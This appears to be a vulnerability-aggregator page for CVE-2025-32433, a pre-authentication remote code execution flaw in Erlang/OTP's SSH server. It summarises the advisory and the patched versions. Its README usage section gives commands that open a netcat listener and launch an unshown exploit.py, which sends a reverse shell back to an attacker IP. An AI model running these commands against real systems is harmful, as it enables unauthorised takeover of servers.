CVE-2025-32433 PoC — Erlang/OTP SSH Vulnerable to Pre-Authentication RCE

Source

https://github.com/MrDreamReal/CVE-2025-32433

Associated Vulnerability

Title:Erlang/OTP SSH Vulnerable to Pre-Authentication RCE (CVE-2025-32433)
Description:Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.

Description

CVE-2025-32433 Summary and Attack Overview

Readme

# CVE-2025-32433
CVE-2025-32433 Summary and Attack Overview

CVE-2025-32433 is a critical unauthenticated remote code execution (RCE) vulnerability in the Erlang/OTP SSH server, disclosed on April 16, 2025. Erlang/OTP SSH is a library used in various distributed and telecom applications. The flaw arises from improper handling of SSH protocol messages: the server fails to enforce the normal authentication sequence, allowing an attacker to send specially crafted SSH messages before authentication. By doing so, the attacker can inject and execute arbitrary Erlang code on the server
nvd.nist.gov

offsec.com
. In practical terms, this means an attacker with network access to a vulnerable Erlang/OTP SSH server (often running as root) can trigger a reverse shell or execute commands without any credentials, leading to full system compromise
nvd.nist.gov

offsec.com
. This vulnerability is assigned CVSS 10.0 (maximum severity)
offsec.com
.

Affected versions are all Erlang/OTP releases below OTP-27.3.3, OTP-26.2.5.11, or OTP-25.3.2.20 (the patched versions)
nvd.nist.gov

offsec.com
. Affected systems often include Linux servers or appliances running an Erlang-based SSH daemon (not to be confused with OpenSSH). Importantly, default OpenSSH servers on Linux/BSD are not vulnerable
offsec.com
. Users should assume any exposed Erlang/OTP SSH server is affected, and apply the official patches or disable the SSH service immediately.

The attack works by initiating an SSH connection and then sending a sequence of SSH messages out of order. :

usage: 

sudo chmod +x exploit.py

nc -nvlp <lport>

python3 exploit.py -t <target-ip> -p 22 --lhost <attcker-ip> --lport <lisner-ip> 

ex: 

nc -nvlp 5555

python3 exploit.py -t 10.10.22.111 -p 22 --lhost 10.12.33.111 --lport 55555

File Snapshot


 [4.0K]  /data/pocs/424d1d9ed6c9ea118d5a28c368adbc8f70b85923
├── [2.2K]  concept for CVE-2025-32433
├── [6.4K]  exploit.py
├── [1.8K]  README.md
└── [ 224]  usage

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!